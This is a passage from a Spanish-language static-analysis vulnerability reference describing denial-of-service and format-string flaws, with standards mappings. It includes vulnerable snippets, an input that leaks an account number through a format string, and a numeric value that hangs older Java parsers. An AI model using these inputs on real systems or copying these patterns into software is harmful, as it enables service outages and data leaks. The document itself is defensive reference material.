Un usuario malintencionado podría bloquear el programa o hacer que no esté disponible de otro modo para autorizar a los usuarios.
Explanation
Los usuarios malintencionados podrían denegar el servicio a los usuarios autorizados inundando la aplicación con solicitudes, pero los ataques de inundación suelen ser desactivados en la capa de red. Más problemáticos son los errores que permiten que un usuario malintencionado sobrecargue la aplicación mediante un pequeño número de solicitudes. Este tipo de errores permite que el usuario malintencionado especifique la cantidad de recursos del sistema que van a utilizar sus solicitudes o la duración que tendrán para utilizarlos.

Ejemplo 1: el siguiente código permite al usuario especificar la cantidad de tiempo durante el cual el sistema debería retrasar el procesamiento. Si se especifica un número grande, un atacante podría ocupar el sistema indefinidamente.


procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
desc.dataflow.sql.denial_of_service
Abstract
TODO
Explanation
TODO
desc.dataflow.python.denial_of_service
Abstract
Un usuario malintencionado podría bloquear el programa o hacer que no esté disponible de otro modo para autorizar a los usuarios.
Explanation
Los usuarios malintencionados podrían denegar el servicio a los usuarios autorizados inundando la aplicación con solicitudes, pero los ataques de inundación suelen ser desactivados en la capa de red. Más problemáticos son los errores que permiten que un usuario malintencionado sobrecargue la aplicación mediante un pequeño número de solicitudes. Este tipo de errores permite que el usuario malintencionado especifique la cantidad de recursos del sistema que van a utilizar sus solicitudes o la duración que tendrán para utilizarlos.

Ejemplo 1: el siguiente código permite al usuario especificar la cantidad de tiempo durante el cual un subproceso estará en modo de hibernación. Si se especifica un número grande, un atacante podría ocupar el subproceso indefinidamente. Con un pequeño número de solicitudes, el atacante podría agotar el grupo de subprocesos de la aplicación.


Kernel.sleep(user_input)
Ejemplo 2: el siguiente código lee una cadena de un archivo. Como utiliza el método readline() sin especificar un límite, leerá una cantidad ilimitada de datos de entrada. Un atacante podría aprovechar este código para provocar que el proceso se cuelgue, a la vez que consume más y más memoria, hasta que posiblemente se quede sin memoria por completo.


fd = File.new(myFile)
line = fd.readline
desc.dataflow.ruby.denial_of_service
Abstract
Permitir que la entrada del usuario controle los parámetros del formato puede habilitar a un usuario malintencionado para producir excepciones o filtrar información.
Explanation
Un usuario malintencionado puede modificar el argumento de cadena de formato de manera que se produzca una excepción. Si no se captura la excepción, esta podría bloquear la aplicación. Alternativamente, si se usa información confidencial en los otros argumentos, un usuario malintencionado podría cambiar la cadena de formato para revelar dicha información.

Ejemplo 1: el siguiente código permite al usuario especificar el argumento de cadena de formato como Formatter.format().


...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...


El objetivo de este programa es permitir que el usuario especifique los puntos decimales en los que se muestre el balance. Sin embargo, en realidad no existen restricciones sobre esto. Si el usuario puede especificar cualquier cosa, podría producir una excepción java.util.MissingFormatArgumentException y, puesto que no está en un bloque try, provocar un error en la aplicación.
Una situación todavía más crítica dentro del mismo ejemplo: si un usuario malintencionado especifica la entrada de usuario "2f %3$s %4$.2", la cadena de formato sería "El cliente: %s %s presenta un balance de %4$.2f %3$s %4$.2". Esto supondría la inclusión del accountNo confidencial en la cadena resultante.
References
[1] IDS06-J. Exclude unsanitized user input from format strings CERT
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark availability
[7] Standards Mapping - Common Weakness Enumeration CWE ID 730
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - OWASP Top 10 2013 A1 Injection
[13] Standards Mapping - OWASP Top 10 2017 A1 Injection
[14] Standards Mapping - OWASP Top 10 2021 A03 Injection
[15] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[16] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[27] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[49] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[50] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_format_string
Abstract
El programa llama a un método que analiza dobles y puede provocar que se bloquee el subproceso.
Explanation
Existe una vulnerabilidad asociada a las implementaciones de java.lang.Double.parseDouble() y métodos relacionados que puede provocar que el subproceso se bloquee al analizar cualquier número incluido en el intervalo [2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)]. Este defecto se puede utilizar para ejecutar un ataque de denegación de servicio (DoS).

Ejemplo 1: el siguiente código usa un método vulnerable.

Double d = Double.parseDouble(request.getParameter("d"));


Un usuario malintencionado podría enviar solicitudes en las que el parámetro d es un valor incluido en un intervalo como, por ejemplo, "0.0222507385850720119e-00306", para provocar que el programa se bloquee al procesar la solicitud.

Esta vulnerabilidad se produce en las versiones 6 Actualización 23 y anteriores de Java. No se produce en la versión 6 Actualización 24 o posterior de Java.
References
[1] Rick Regan Java Hangs When Converting 2.2250738585072012e-308
[2] Oracle Security Alert for CVE-2010-4476
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark availability
[8] Standards Mapping - Common Weakness Enumeration CWE ID 400
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [20] CWE ID 400
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [23] CWE ID 400
[11] Standards Mapping - Common Weakness Enumeration Top 25 2022 [23] CWE ID 400
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection
[15] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_parse_double